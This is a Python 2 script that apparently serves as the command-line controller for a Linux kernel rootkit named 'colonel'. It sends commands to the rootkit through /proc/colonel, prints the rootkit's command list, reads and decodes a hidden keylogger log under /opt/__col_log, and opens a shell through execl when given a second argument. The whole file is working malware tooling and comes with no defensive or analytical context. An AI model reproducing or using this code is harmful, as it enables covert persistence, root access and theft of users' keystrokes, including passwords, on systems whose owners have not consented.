#!/usr/bin/env python
import os
import sys
sys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + 'irc'))
import key
from os import getpid, execl

evlog = "/opt/__col_log/evlog.txt"


def command(c):
	""" Opens and writes commands to /proc/colonel. """
	f = open("/proc/colonel", "w")
	f.write(c)
	f.close()


def root_help():
	""" Prints accepted root commands and status. """
	f = open("/proc/colonel", "r")
	doc = f.read()
	f.close()
	print doc

def keylogs():
	""" Translate and print the keylog to console. """
	log = open(evlog, 'r')
	f = log.read()
	log.close()
	kl = key.translate(f)
	print kl


def main():
	""" Sends commands to the rootkit or keylogger via /proc/colonel. """
	if len(sys.argv[:]) <= 1:
		print "usage: %s <command>" % sys.argv[0]
	elif os.geteuid() != 0 and "keylog" == sys.argv[1]:
		print "usage: sudo %s <command>" % sys.argv[0]
	# will open a shell given the correct command.
	elif len(sys.argv[:]) > 2:
		execl(sys.argv[2], "")
	elif len(sys.argv[:]) > 1:
		if "keylog" == sys.argv[1]:
			keylogs()
		elif "help" == sys.argv[1]:
			root_help()
		else:
			command(sys.argv[1])


if __name__ == "__main__":
	main()

